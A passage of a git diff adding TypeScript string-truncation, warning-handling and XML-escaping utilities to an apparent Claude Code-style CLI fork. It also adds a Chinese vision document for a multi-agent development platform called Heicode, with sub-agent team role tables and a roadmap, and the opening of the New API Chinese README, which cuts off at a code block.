+ * @param maxLength Maximum display width of the result in terminal columns (must be > 0)
+ * @returns The truncated path, or original if it fits within maxLength
+ */
+export function truncatePathMiddle(path: string, maxLength: number): string {
+  // No truncation needed
+  if (stringWidth(path) <= maxLength) {
+    return path
+  }
+
+  // Handle edge case of very small or non-positive maxLength
+  if (maxLength <= 0) {
+    return '…'
+  }
+
+  // Need at least room for "…" + something meaningful
+  if (maxLength < 5) {
+    return truncateToWidth(path, maxLength)
+  }
+
+  // Find the filename (last path segment)
+  const lastSlash = path.lastIndexOf('/')
+  // Include the leading slash in filename for display
+  const filename = lastSlash >= 0 ? path.slice(lastSlash) : path
+  const directory = lastSlash >= 0 ? path.slice(0, lastSlash) : ''
+  const filenameWidth = stringWidth(filename)
+
+  // If filename alone is too long, truncate from start
+  if (filenameWidth >= maxLength - 1) {
+    return truncateStartToWidth(path, maxLength)
+  }
+
+  // Calculate space available for directory prefix
+  // Result format: directory + "…" + filename
+  const availableForDir = maxLength - 1 - filenameWidth // -1 for ellipsis
+
+  if (availableForDir <= 0) {
+    // No room for directory, just show filename (truncated if needed)
+    return truncateStartToWidth(filename, maxLength)
+  }
+
+  // Truncate directory and combine
+  const truncatedDir = truncateToWidthNoEllipsis(directory, availableForDir)
+  return truncatedDir + '…' + filename
+}
+
+/**
+ * Truncates a string to fit within a maximum display width, measured in terminal columns.
+ * Splits on grapheme boundaries to avoid breaking emoji or surrogate pairs.
+ * Appends '…' when truncation occurs.
+ */
+export function truncateToWidth(text: string, maxWidth: number): string {
+  if (stringWidth(text) <= maxWidth) return text
+  if (maxWidth <= 1) return '…'
+  let width = 0
+  let result = ''
+  for (const { segment } of getGraphemeSegmenter().segment(text)) {
+    const segWidth = stringWidth(segment)
+    if (width + segWidth > maxWidth - 1) break
+    result += segment
+    width += segWidth
+  }
+  return result + '…'
+}
+
+/**
+ * Truncates from the start of a string, keeping the tail end.
+ * Prepends '…' when truncation occurs.
+ * Width-aware and grapheme-safe.
+ */
+export function truncateStartToWidth(text: string, maxWidth: number): string {
+  if (stringWidth(text) <= maxWidth) return text
+  if (maxWidth <= 1) return '…'
+  const segments = [...getGraphemeSegmenter().segment(text)]
+  let width = 0
+  let startIdx = segments.length
+  for (let i = segments.length - 1; i >= 0; i--) {
+    const segWidth = stringWidth(segments[i]!.segment)
+    if (width + segWidth > maxWidth - 1) break // -1 for '…'
+    width += segWidth
+    startIdx = i
+  }
+  return (
+    '…' +
+    segments
+      .slice(startIdx)
+      .map(s => s.segment)
+      .join('')
+  )
+}
+
+/**
+ * Truncates a string to fit within a maximum display width, without appending an ellipsis.
+ * Useful when the caller adds its own separator (e.g. middle-truncation with '…' between parts).
+ * Width-aware and grapheme-safe.
+ */
+export function truncateToWidthNoEllipsis(
+  text: string,
+  maxWidth: number,
+): string {
+  if (stringWidth(text) <= maxWidth) return text
+  if (maxWidth <= 0) return ''
+  let width = 0
+  let result = ''
+  for (const { segment } of getGraphemeSegmenter().segment(text)) {
+    const segWidth = stringWidth(segment)
+    if (width + segWidth > maxWidth) break
+    result += segment
+    width += segWidth
+  }
+  return result
+}
+
+/**
+ * Truncates a string to fit within a maximum display width (terminal columns),
+ * splitting on grapheme boundaries to avoid breaking emoji, CJK, or surrogate pairs.
+ * Appends '…' when truncation occurs.
+ * @param str The string to truncate
+ * @param maxWidth Maximum display width in terminal columns
+ * @param singleLine If true, also truncates at the first newline
+ * @returns The truncated string with ellipsis if needed
+ */
+export function truncate(
+  str: string,
+  maxWidth: number,
+  singleLine: boolean = false,
+): string {
+  let result = str
+
+  // If singleLine is true, truncate at first newline
+  if (singleLine) {
+    const firstNewline = str.indexOf('\n')
+    if (firstNewline !== -1) {
+      result = str.substring(0, firstNewline)
+      // Ensure total width including ellipsis doesn't exceed maxWidth
+      if (stringWidth(result) + 1 > maxWidth) {
+        return truncateToWidth(result, maxWidth)
+      }
+      return `${result}…`
+    }
+  }
+
+  if (stringWidth(result) <= maxWidth) {
+    return result
+  }
+  return truncateToWidth(result, maxWidth)
+}
+
+export function wrapText(text: string, width: number): string[] {
+  const lines: string[] = []
+  let currentLine = ''
+  let currentWidth = 0
+
+  for (const { segment } of getGraphemeSegmenter().segment(text)) {
+    const segWidth = stringWidth(segment)
+    if (currentWidth + segWidth <= width) {
+      currentLine += segment
+      currentWidth += segWidth
+    } else {
+      if (currentLine) lines.push(currentLine)
+      currentLine = segment
+      currentWidth = segWidth
+    }
+  }
+
+  if (currentLine) lines.push(currentLine)
+  return lines
+}
diff --git a/cc-haha/src/utils/warningHandler.ts b/cc-haha/src/utils/warningHandler.ts
new file mode 100644
index 0000000..3c9572e
--- /dev/null
+++ b/cc-haha/src/utils/warningHandler.ts
@@ -0,0 +1,121 @@
+import { posix, win32 } from 'path'
+import {
+  type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+  logEvent,
+} from 'src/services/analytics/index.js'
+import { logForDebugging } from './debug.js'
+import { isEnvTruthy } from './envUtils.js'
+import { getPlatform } from './platform.js'
+
+// Track warnings to avoid spam — bounded to prevent unbounded memory growth
+export const MAX_WARNING_KEYS = 1000
+const warningCounts = new Map<string, number>()
+
+// Check if running from a build directory (development mode)
+// This is a sync version of the logic in getCurrentInstallationType()
+function isRunningFromBuildDirectory(): boolean {
+  let invokedPath = process.argv[1] || ''
+  let execPath = process.execPath || process.argv[0] || ''
+
+  // On Windows, convert backslashes to forward slashes for consistent path matching
+  if (getPlatform() === 'windows') {
+    invokedPath = invokedPath.split(win32.sep).join(posix.sep)
+    execPath = execPath.split(win32.sep).join(posix.sep)
+  }
+
+  const pathsToCheck = [invokedPath, execPath]
+  const buildDirs = [
+    '/build-ant/',
+    '/build-external/',
+    '/build-external-native/',
+    '/build-ant-native/',
+  ]
+
+  return pathsToCheck.some(path => buildDirs.some(dir => path.includes(dir)))
+}
+
+// Warnings we know about and want to suppress from users
+const INTERNAL_WARNINGS = [
+  /MaxListenersExceededWarning.*AbortSignal/,
+  /MaxListenersExceededWarning.*EventTarget/,
+]
+
+function isInternalWarning(warning: Error): boolean {
+  const warningStr = `${warning.name}: ${warning.message}`
+  return INTERNAL_WARNINGS.some(pattern => pattern.test(warningStr))
+}
+
+// Store reference to our warning handler so we can detect if it's already installed
+let warningHandler: ((warning: Error) => void) | null = null
+
+// For testing only - allows resetting the warning handler state
+export function resetWarningHandler(): void {
+  if (warningHandler) {
+    process.removeListener('warning', warningHandler)
+  }
+  warningHandler = null
+  warningCounts.clear()
+}
+
+export function initializeWarningHandler(): void {
+  // Only set up handler once - check if our handler is already installed
+  const currentListeners = process.listeners('warning')
+  if (warningHandler && currentListeners.includes(warningHandler)) {
+    return
+  }
+
+  // For external users, remove default Node.js handler to suppress stderr output
+  // For internal users, only keep default warnings for development builds
+  // Check development mode directly to avoid async call in init
+  // This preserves the same logic as getCurrentInstallationType() without async
+  const isDevelopment =
+    process.env.NODE_ENV === 'development' || isRunningFromBuildDirectory()
+  if (!isDevelopment) {
+    process.removeAllListeners('warning')
+  }
+
+  // Create and store our warning handler
+  warningHandler = (warning: Error) => {
+    try {
+      const warningKey = `${warning.name}: ${warning.message.slice(0, 50)}`
+      const count = warningCounts.get(warningKey) || 0
+
+      // Bound the map to prevent unbounded memory growth from unique warning keys.
+      // Once the cap is reached, new unique keys are not tracked — their
+      // occurrence_count will always be reported as 1 in analytics.
+      if (
+        warningCounts.has(warningKey) ||
+        warningCounts.size < MAX_WARNING_KEYS
+      ) {
+        warningCounts.set(warningKey, count + 1)
+      }
+
+      const isInternal = isInternalWarning(warning)
+
+      // Always log to Statsig for monitoring
+      // Include full details for ant users only, since they may contain code or filepaths
+      logEvent('tengu_node_warning', {
+        is_internal: isInternal ? 1 : 0,
+        occurrence_count: count + 1,
+        classname:
+          warning.name as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        ...(process.env.USER_TYPE === 'ant' && {
+          message:
+            warning.message as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        }),
+      })
+
+      // In debug mode, show all warnings with context
+      if (isEnvTruthy(process.env.CLAUDE_DEBUG)) {
+        const prefix = isInternal ? '[Internal Warning]' : '[Warning]'
+        logForDebugging(`${prefix} ${warning.toString()}`, { level: 'warn' })
+      }
+      // Hide all warnings from users - they are only logged to Statsig for monitoring
+    } catch {
+      // Fail silently - we don't want the warning handler to cause issues
+    }
+  }
+
+  // Install the warning handler
+  process.on('warning', warningHandler)
+}
diff --git a/cc-haha/src/utils/xml.ts b/cc-haha/src/utils/xml.ts
new file mode 100644
index 0000000..5841826
--- /dev/null
+++ b/cc-haha/src/utils/xml.ts
@@ -0,0 +1,16 @@
+/**
+ * Escape XML/HTML special characters for safe interpolation into element
+ * text content (between tags). Use when untrusted strings (process stdout,
+ * user input, external data) go inside `<tag>${here}</tag>`.
+ */
+export function escapeXml(s: string): string {
+  return s.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;')
+}
+
+/**
+ * Escape for interpolation into a double- or single-quoted attribute value:
+ * `<tag attr="${here}">`. Escapes quotes in addition to `& < >`.
+ */
+export function escapeXmlAttr(s: string): string {
+  return escapeXml(s).replace(/"/g, '&quot;').replace(/'/g, '&apos;')
+}
diff --git a/docs/vision-heicode-full-stack-agentic-dev.md b/docs/vision-heicode-full-stack-agentic-dev.md
new file mode 100644
index 0000000..2e7755c
--- /dev/null
+++ b/docs/vision-heicode-full-stack-agentic-dev.md
@@ -0,0 +1,268 @@
+# Heicode 全栈智能体开发范式（愿景与产品说明）
+
+本文档把当前对 **Heicode** 工作区的技术理解，与产品侧「全自动化编程、多子智能体团队、与现有平台对接」的构想，整理成**可讨论、可迭代**的范式说明。随实现推进，应持续更新本文件中的状态与待决问题。
+
+---
+
+## 一、三问（直接回答）
+
+### 1. 能否大致说清楚这个项目是干嘛的？
+
+**可以。**
+
+- **工作区层面**：`heicode` 是一个多项目容器，目前可见的核心是  
+  - **`cc-haha`**：面向终端与桌面的智能体编程体验（CLI、API 路由、MCP/任务/团队等子系统，并含 `desktop` 的 Tauri 相关结构），目标方向与 **Claude Code 类** 工具体验一致。  
+  - **`new-api`**：基于社区 **New API** 生态的 **大模型网关与运营侧能力**（渠道、计费、鉴权、多协议中继等），经你方 **深度改造** 后，作为 **用户/团队登录后看到的「后台」与 API 能力层**。
+
+- **产品叙事层面（你的目标）**：Heicode 不是「单一编码插件」，而是 **结合 Agnet 平台子智能体团队 + 改造后的 New API + 类 oh-my-claudecode 的编程流程**，在 **软件全生命周期** 内支撑 **从需求到代码、到测试、到多云部署、到运维与迭代** 的 **自动化开发范式**；与仅「在 IDE 里写代码」相比，更强调 **多成员（多子 Agnet）协作、可重复的标准化团队模式、以及可审计的交付物**（产品文档、开发日志、多智能体沟通记录等）。
+
+---
+
+### 2. 能否做到和 Claude Code 目前一个效果？
+
+**「方向一致、体验对等」是可实现的产品目标；「逐像素、逐协议完全一致」需要刻意对齐与持续跟进。**
+
+| 维度 | 说明 |
+|------|------|
+| **CLI / Desktop 登录与会话** | 技术上可对齐同一套账号体系（OAuth/令牌）、同一后端（改造后的 New API），使你描述的「下载 CLI/Desktop → 登录 → 对话界面」闭环成立；是否与 Claude Code **完全一致**取决于是否采用相同的认证提供方、相同的会话模型以及相同的客户端发布节奏。 |
+| **插件 / MCP / 工具生态** | `cc-haha` 已有 MCP、路由与工具链相关代码路径；要达到「一模一样」，除功能对等外，还需 **兼容性测试矩阵**（版本、权限模型、错误语义）。 |
+| **结论** | 作为 **自托管 / 深度集成 Agnet + New API** 的产品，更合理的承诺是：**在贵司账号与策略域内，提供与 Claude Code 同等量级的「可开发、可协作、可部署」能力**；对 **商业 Claude Code 本身** 的 1:1 复刻，受外部产品变更与条款约束，应作为**长期对标**而非一次性验收项。 |
+
+---
+
+### 3. 目前这个项目处于什么状态？
+
+**综合判断：偏「能力已铺底、产品叙事与平台级整合仍处早中期」的状态。**
+
+| 信号 | 观察 |
+|------|------|
+| **工程** | `new-api` 与 `cc-haha` 均具备可读的领域代码与测试痕迹；但工作区**根级**未形成单一 `README` 与统一发布说明，**多仓/多副本**（如 `_all-in-one-upload`）暗示仍在整合或迁移中。 |
+| **产品** | 你描述的 **Heicode 官网 → New API 后台 → CLI/Desktop 下载 → Agnet 一键部署子智能体** 的完整闭环，在文档与入口上**尚未在仓库内完全固化**（正是本文档要补的）。 |
+| **平台依赖** | **Agnet 生产已部署**；**权限、多租户数据隔离、有状态子智能体可观测性** 仍属平台侧待完善项，会直接影响 Heicode 的**企业级**叙事落地节奏。 |
+
+---
+
+## 二、愿景一句话
+
+**Heicode = 面向团队的、贯穿软件生命周期的「智能体软件交付」平台**：  
+以 **改造后的 New API** 为统一账户与模型/计费/策略网关，以 **Agnet 平台上的子智能体团队** 为执行单元，以 **类 Claude Code 的 CLI/Desktop** 为人机界面，把「想法 → 规格 → 实现 → 验证 → 发布 → 运维 → 迭代」压缩成**可重复、可审计、可按团队规模裁剪**的标准范式。
+
+---
+
+## 三、架构鸟瞰（逻辑分层）
+
+```
+┌─────────────────────────────────────────────────────────────────┐
+│  用户 / 团队                                                      │
+│  浏览器（官网、New API 控制台）│ CLI │ Desktop（Tauri）              │
+└───────────────┬─────────────────────────────┬───────────────────────┘
+                │                             │
+                ▼                             ▼
+┌───────────────────────────┐   ┌───────────────────────────────────┐
+│  改造后的 New API           │   │  cc-haha（CLI / Desktop / 本地服务） │
+│  账号 · 令牌 · 模型网关      │◄──► 对话 · 工具 · MCP · 任务 · 团队视图   │
+│  计费 · 渠道 · 策略（可选）   │   │  与 New API 对齐登录态与 API          │
+└───────────────┬───────────┘   └───────────────────┬───────────────┘
+                │                                     │
+                │         ┌───────────────────────────┘
+                │         │
+                ▼         ▼
+┌─────────────────────────────────────────────────────────────────┐
+│  Agnet 平台（已部署生产；权限/隔离/可观测性仍在演进）                 │
+│  一键部署「子 Agnet 团队」· 瀑布 / 敏捷 模板 · 有状态子 Agnet        │
+└─────────────────────────────────────────────────────────────────┘
+                │
+                ▼
+┌─────────────────────────────────────────────────────────────────┐
+│  外部系统（默认假设「已具备集成能力」）                              │
+│  Git · GCP · AWS · Azure · CI/CD · 监控 · 工单/文档库             │
+└─────────────────────────────────────────────────────────────────┘
+```
+
+**边界声明**：下文 **不展开 Agnet 内部如何实现**，默认平台已提供「创建子智能体、编排、与外部工具集成」等能力；Heicode 侧聚焦 **集成契约、用户体验与安全边界**。
+
+---
+
+## 四、核心用户旅程（目标体验）
+
+1. 访问 **Heicode 官网**，了解产品与下载入口。  
+2. **登录** 进入 **改造后的 New API** 控制台：查看配额、令牌、模型/渠道策略（**现阶段可不新增功能，仅作为已有能力的聚合展示**）。  
+3. **下载** 官方构建的 **CLI** 与 **Desktop**，安装后以 **与 Claude Code 对齐的登录方式** 进入 **对话界面**，并能看到 **与子 Agnet / 任务相关的状态**（具体 UI 依赖 Agnet 与本地 Agent 状态上报）。  
+4. 在 **Agnet 平台** 对某一项目 **一键部署子 Agnet 团队**（瀑布或敏捷模板），与本地/云端仓库、流水线权限绑定。  
+5. 团队在 **全生命周期** 内完成开发、测试、部署、运维与迭代；产物包括 **代码、产品文档、沟通记录、开发日志**。
+
+---
+
+## 五、子 Agnet 团队：瀑布 vs 敏捷（规模与角色）
+
+本节给出 **Heicode 范式下的「最小 / 最大」子 Agnet 数量判断**，并为 **每一个子 Agnet 写明角色名称与职责边界**，供 Agnet 平台「一键部署团队」时直接映射为实例规格（名称可按平台惯例缩写）。
+
+### 5.1 判定依据（为什么是这个区间）
+
+| 维度 | 瀑布模式 | 敏捷模式 |
+|------|----------|----------|
+| **流程特征** | 阶段闸门强、文档与评审链长，角色边界清晰 | 迭代短、反馈密，强调跨职能小闭环 |
+| **最小团队含义** | 仍能走完「规格→设计→实现→验证→上线」且 **不合并关键闸门**（否则失去瀑布的可审计性） | 仍能在一个迭代内完成「可演示增量」且具备 **独立质量门禁** |
+| **最大团队含义** | 覆盖大型传统组织常见 **专岗**（安全、文档、前后端分立），且不超过单项目协调上限（约 **9** 个并行协调节点） | 覆盖规模化 Scrum 小组（双轨开发 + 嵌入式 SRE/UX），且不超过 **两个披萨团队** 上限（约 **8** 人 equivalent） |
+| **超出上限时** | 应拆 **子系统 / 子项目** 或多套瀑布实例，而不是继续堆角色 | 应拆 **多个 Squad** 或引入 **平台组共享**，而不是单队列无限加 Agnet |
+
+---
+
+### 5.2 规模总览
+
+| 模式 | 最小团队（子 Agnet 数） | 最大团队（子 Agnet 数） |
+|------|-------------------------|-------------------------|
+| **瀑布** | **5** | **9** |
+| **敏捷** | **3** | **8** |
+
+---
+
+### 5.3 瀑布模式 — 最小团队（5 个子 Agnet）
+
+适用于：**阶段清晰、评审链存在、但人力收紧** 的项目。五人对应瀑布五条「硬闸门」，互不合并，以保证可追溯。
+
+| # | 角色代号（建议） | 角色名称 | 职责（该子 Agnet 专属） |
+|---|------------------|----------|-------------------------|
+| W1 | `WF-BA` | **业务/需求分析师** | 需求规格说明书、范围与假设、验收标准、变更登记；组织需求评审输入材料 |
+| W2 | `WF-ARC` | **解决方案架构师** | 系统架构、模块边界、接口与数据契约、非功能需求（性能/可用/扩展）落档 |
+| W3 | `WF-DEV` | **软件工程师（实现）** | 按设计实现功能、单元测试、静态检查与本地验证、参与设计澄清 |
+| W4 | `WF-QA` | **测试工程师** | 测试策略与用例、集成/系统测试、缺陷管理与回归、**发布前质量门禁结论** |
+| W5 | `WF-REL` | **发布与运维工程师** | CI/CD 流水线、环境一致性、发布编排与回滚预案、上线后健康检查与基础可观测 |
+
+**说明**：最小瀑布 **不单独设** PM/安全/文档岗——由 BA（对外表述）、ARC（安全架构底线）、REL（Runbook 最低集）**兼带轻量职责**；若监管或合同要求独立签字，应升级到 **最大团队**。
+
+---
+
+### 5.4 瀑布模式 — 最大团队（9 个子 Agnet）
+
+适用于：**强合规、多干系人、前后端并行、安全与文档独立审计** 的大型项目。
+
+| # | 角色代号（建议） | 角色名称 | 职责（该子 Agnet 专属） |
+|---|------------------|----------|-------------------------|
+| W1 | `WF-PM` | **产品经理** | 路线图与里程碑、干系人沟通、优先级裁决、发布范围与 Go/No-Go 协同 |
+| W2 | `WF-BA` | **业务/需求分析师** | 需求规格与验收标准、变更控制、与 PM 对齐「做什么」 |
+| W3 | `WF-ARC` | **解决方案架构师** | 总体架构与技术选型、跨团队接口冻结、架构评审组织 |
+| W4 | `WF-DEV-B` | **后端开发工程师** | 服务/API、领域模型、数据访问与集成、后端侧单元与契约测试 |
+| W5 | `WF-DEV-F` | **前端开发工程师** | UI 实现、前端状态与可访问性、与后端联调、前端侧测试 |
+| W6 | `WF-QA` | **测试工程师** | 端到端质量责任、测试环境与数据、缺陷 SLAs、发布签字前的测试结论 |
+| W7 | `WF-SEC` | **安全与合规专员** | 威胁建模输入、密钥与凭据策略、依赖与供应链审查、发布前安全复核 |
+| W8 | `WF-DOC` | **技术文档工程师** | 用户文档、API/集成说明、对内 Runbook 与培训材料 |
+| W9 | `WF-REL` | **发布与运维工程师** | 多云/多环境发布路径、IaC 与配置治理、监控告警与值班交接 |
+
+**说明**：若项目为 **纯后端或纯工具链**，可折叠 `WF-DEV-F` 与 `WF-DEV-B` 之一，团队规模降到 **8**，仍属瀑布最大思想的变体。
+
+---
+
+### 5.5 敏捷模式 — 最小团队（3 个子 Agnet）
+
+适用于：**单迭代内完成可演示增量** 的 **最小跨职能小组**（对标经典 PO + Dev + QA）。
+
+| # | 角色代号（建议） | 角色名称 | 职责（该子 Agnet 专属） |
+|---|------------------|----------|-------------------------|
+| A1 | `AG-PO` | **产品负责人（Product Owner）** | 迭代 Backlog 排序、验收标准、冲刺目标对齐、对「完成」有定义的解释权 |
+| A2 | `AG-DEV` | **软件工程师** | 迭代内设计与实现、重构、代码评审协作；简单流水线改动可由本角色在策略允许下执行 |
+| A3 | `AG-QA` | **测试工程师** | 迭代测试计划、自动化与探索性测试、DoD 中质量项、阻塞发布的缺陷升级 |
+
+**说明**：**不设专职 Scrum Master / SRE**——节奏由 PO 与团队自律维持，环境与发布依赖 **平台默认模板** 或 **WF-REL 类共享服务**（组织级平台组）。
+
+---
+
+### 5.6 敏捷模式 — 最大团队（8 个子 Agnet）
+
+适用于：**双轨并行特性、节奏复杂、需要嵌入式流程与平台能力** 的规模化迭代。
+
+| # | 角色代号（建议） | 角色名称 | 职责（该子 Agnet 专属） |
+|---|------------------|----------|-------------------------|
+| A1 | `AG-PO` | **产品负责人** | Backlog、价值排序、迭代目标与验收 |
+| A2 | `AG-SM` | **敏捷教练 / 流程负责人（Scrum Master）** | 阻碍清除、仪式效率、改进项跟踪；**不作**业务优先级裁决（与 PO 分工） |
+| A3 | `AG-TL` | **技术负责人（Tech Lead）** | 迭代内架构切片、技术债边界、难点攻关与跨 Dev 对齐 |
+| A4 | `AG-DEV-A` | **开发工程师 A** | 特性/区域 A 的端到端交付（含与 QA 的自动化协作） |
+| A5 | `AG-DEV-B` | **开发工程师 B** | 特性/区域 B 的并行交付，减少单点阻塞 |
+| A6 | `AG-QA` | **测试工程师** | 迭代质量策略、CI 质量门禁、发布候选验证 |
+| A7 | `AG-UX` | **UX/UI 设计师** | 迭代内交互与视觉、可用性标准、与设计系统对齐 |
+| A8 | `AG-SRE` | **DevOps / SRE 工程师** | 流水线即代码、环境晋升策略、可观测与容量、发布与回滚执行 |
+
+**说明**：超过 **8** 时优先 **拆分第二个 Squad（另一套 3～8 人模板）**，而不是在同一 backlog 上继续加角色，否则协调成本会吞噬并行收益。
+
+---
+
+### 5.7 角色对照（可选摘编）
+
+与 **5.1 通用抽象** 的对应关系：
+
+| 通用抽象 | 瀑布最小 | 瀑布最大 | 敏捷最小 | 敏捷最大 |
+|----------|----------|----------|----------|----------|
+| 产品/需求 | BA | PM + BA | PO | PO |
+| 架构 | ARC | ARC | （并入 DEV/TL） | TL |
+| 开发 | DEV | DEV-B + DEV-F | DEV | DEV-A + DEV-B |
+| 测试 | QA | QA | QA | QA |
+| DevOps/SRE | REL | REL | （平台/兼任） | SRE |
+| 安全/合规 | （ARC 兼） | SEC | （门禁委托） | （可由平台策略 + TL） |
+| 技术写作 | （REL 兼） | DOC | （最小化） | （可由 PO 兼） |
+| 流程推动 | — | — | — | SM |
+| 体验设计 | — | （可由 DEV-F 兼） | — | UX |
+
+---
+
+## 六、全生命周期能力（Heicode 要覆盖的「范式」）
+
+| 阶段 | 目标产出 | 依赖（概念） |
+|------|-----------|--------------|
+| 构思 / 规格 | PRD、接口草案、风险清单 | 产品子 Agnet + 文档模板 |
+| 实现 | MR/PR、代码、Review 记录 | 开发子 Agnet + Git 权限 |
+| 验证 | 测试报告、覆盖率门禁 | 测试子 Agnet + CI |
+| 发布 | 灰度、版本说明 | DevOps 子 Agnet + 云平台凭证 |
+| 运维 | 告警、Runbook、容量 | SRE 子 Agnet + 监控 |
+| 迭代 | 路线图、变更日志 | 与 Backlog/发布节奏联动 |
+
+**自动化部署全流程**：在策略上授予子 Agnet **Git + 多云** 的最小权限（按仓库、按环境、按资源组），并通过 **New API / 企业 IdP** 做 **人机审批** 或 **策略引擎**（避免无人值守的越权发布）。
+
+---
+
+## 七、多智能体协作与可审计交付物
+
+- **多 Agnet 沟通**：需要 **会话标识、线程 ID、决策摘要** 写入不可篡改或可追溯存储（至少 **追加式日志**）。  
+- **产品文档**：与代码分支或发布版本 **绑定**（例如 tag / release 维度）。  
+- **开发日志**：多成员场景下，按 **人/子 Agnet/任务** 维度聚合，便于复盘与合规。  
+
+---
+
+## 八、与 oh-my-claudecode 的关系
+
+**定位**：oh-my-claudecode 提供的是 **「高效使用 Claude Code 类的实践与脚手架」**；Heicode 在其之上叠加 **平台化**（New API + Agnet）与 **团队级生命周期**，从「个人极致效率」扩展到 **组织级交付**。
+
+---
+
+## 九、已知缺口与风险（诚实清单）
+
+| 领域 | 缺口 | 对 Heicode 的影响 |
+|------|------|-------------------|
+| Agnet 平台 | 权限与数据隔离未完善 | 多租户与企业售卖受阻 |
+| Agnet 平台 | 有状态子 Agnet 的可视化运行态不足 | CLI/Desktop 内「状态面板」信息不完整 |
+| 客户端对标 | 与 Claude Code 完全一致 | 需专门里程碑与合规评估 |
+| 仓库治理 | 根目录 README/单一构建入口 | 新成员与发布节奏成本高 |
+
+---
+
+## 十、推荐路线图（粗粒度）
+
+1. **契约冻结**：New API 与 cc-haha 的 **登录、令牌、用户上下文** API 冻结一版。  
+2. **MVP 闭环**：官网下载 → 安装 → 登录 → 能看到 **账户/配额** 与 **一次完整 Git 推送流水线**（可先单云）。  
+3. **Agnet 集成**：一键部署 **最小敏捷团队**，打通 **状态上报** 到 CLI。  
+4. **可观测与合规**：审计日志、最小权限、环境隔离。  
+5. **规模化**：瀑布/敏捷模板、最大团队配置、多云与混合审批。
+
+---
+
+## 十一、开放问题（供脑爆继续）
+
+- 子 Agnet **所有权模型**：按项目、按组织、还是按环境？  
+- **审批**：哪些操作必须人工（生产发布、费用、密钥）？  
+- **计费**：模型调用走 New API；Agnet 算力是否单独计费？  
+- **SLA**：对内工具 vs 对客户承诺的边界？  
+
+---
+
+*文档版本：与仓库内实现同步演进；修改时请更新本节日期。*
+
+**最近更新**：2026-04-30
diff --git a/new-api/README.zh_CN.md b/new-api/README.zh_CN.md
new file mode 100644
index 0000000..725df2b
--- /dev/null
+++ b/new-api/README.zh_CN.md
@@ -0,0 +1,476 @@
+<div align="center">
+
+![new-api](/web/default/public/logo.png)
+
+# New API
+
+🍥 **新一代大模型网关与AI资产管理系统**
+
+<p align="center">
+  简体中文 |
+  <a href="./README.zh_TW.md">繁體中文</a> |
+  <a href="./README.md">English</a> |
+  <a href="./README.fr.md">Français</a> |
+  <a href="./README.ja.md">日本語</a>
+</p>
+
+<p align="center">
+  <a href="https://raw.githubusercontent.com/Calcium-Ion/new-api/main/LICENSE">
+    <img src="https://img.shields.io/github/license/Calcium-Ion/new-api?color=brightgreen" alt="license">
+  </a><!--
+  --><a href="https://github.com/Calcium-Ion/new-api/releases/latest">
+    <img src="https://img.shields.io/github/v/release/Calcium-Ion/new-api?color=brightgreen&include_prereleases" alt="release">
+  </a><!--
+  --><a href="https://hub.docker.com/r/CalciumIon/new-api">
+    <img src="https://img.shields.io/badge/docker-dockerHub-blue" alt="docker">
+  </a><!--
+  --><a href="https://goreportcard.com/report/github.com/Calcium-Ion/new-api">
+    <img src="https://goreportcard.com/badge/github.com/Calcium-Ion/new-api" alt="GoReportCard">
+  </a>
+</p>
+
+<p align="center">
+  <a href="https://trendshift.io/repositories/20180" target="_blank">
+    <img src="https://trendshift.io/api/badge/repositories/20180" alt="QuantumNous%2Fnew-api | Trendshift" style="width: 250px; height: 55px;" width="250" height="55"/>
+  </a>
+  <br>
+  <a href="https://hellogithub.com/repository/QuantumNous/new-api" target="_blank">
+    <img src="https://api.hellogithub.com/v1/widgets/recommend.svg?rid=539ac4217e69431684ad4a0bab768811&claim_uid=tbFPfKIDHpc4TzR" alt="Featured｜HelloGitHub" style="width: 250px; height: 54px;" width="250" height="54" />
+  </a><!--
+  --><a href="https://www.producthunt.com/products/new-api/launches/new-api?embed=true&utm_source=badge-featured&utm_medium=badge&utm_campaign=badge-new-api" target="_blank" rel="noopener noreferrer">
+    <img src="https://api.producthunt.com/widgets/embed-image/v1/featured.svg?post_id=1047693&theme=light&t=1769577875005" alt="New API - All-in-one AI asset management gateway. | Product Hunt" style="width: 250px; height: 54px;" width="250" height="54" />
+  </a>
+</p>
+
+<p align="center">
+  <a href="#-快速开始">快速开始</a> •
+  <a href="#-主要特性">主要特性</a> •
+  <a href="#-部署">部署</a> •
+  <a href="#-文档">文档</a> •
+  <a href="#-帮助支持">帮助</a>
+</p>
+
+</div>
+
+## 📝 项目说明
+
+> [!IMPORTANT]
+> - 本项目仅供个人学习使用，不保证稳定性，且不提供任何技术支持
+> - 使用者必须在遵循 OpenAI 的 [使用条款](https://openai.com/policies/terms-of-use) 以及**法律法规**的情况下使用，不得用于非法用途
+> - 根据 [《生成式人工智能服务管理暂行办法》](http://www.cac.gov.cn/2023-07/13/c_1690898327029107.htm) 的要求，请勿对中国地区公众提供一切未经备案的生成式人工智能服务
+
+---
+
+## 🤝 我们信任的合作伙伴
+
+<p align="center">
+  <em>排名不分先后</em>
+</p>
+
+<p align="center">
+  <a href="https://www.cherry-ai.com/" target="_blank">
+    <img src="./docs/images/cherry-studio.png" alt="Cherry Studio" height="80" />
+  </a><!--
+  --><a href="https://github.com/iOfficeAI/AionUi/" target="_blank">
+    <img src="./docs/images/aionui.png" alt="Aion UI" height="80" />
+  </a><!--
+  --><a href="https://bda.pku.edu.cn/" target="_blank">
+    <img src="./docs/images/pku.png" alt="北京大学" height="80" />
+  </a><!--
+  --><a href="https://www.compshare.cn/?ytag=GPU_yy_gh_newapi" target="_blank">
+    <img src="./docs/images/ucloud.png" alt="UCloud 优刻得" height="80" />
+  </a><!--
+  --><a href="https://www.aliyun.com/" target="_blank">
+    <img src="./docs/images/aliyun.png" alt="阿里云" height="80" />
+  </a><!--
+  --><a href="https://io.net/" target="_blank">
+    <img src="./docs/images/io-net.png" alt="IO.NET" height="80" />
+  </a>
+</p>
+
+---
+
+## 🙏 特别鸣谢
+
+<p align="center">
+  <a href="https://www.jetbrains.com/?from=new-api" target="_blank">
+    <img src="https://resources.jetbrains.com/storage/products/company/brand/logos/jb_beam.png" alt="JetBrains Logo" width="120" />
+  </a>
+</p>
+
+<p align="center">
+  <strong>感谢 <a href="https://www.jetbrains.com/?from=new-api">JetBrains</a> 为本项目提供免费的开源开发许可证</strong>
+</p>
+
+---
+
+## 🚀 快速开始
+
+### 使用 Docker Compose（推荐）
+
+```bash
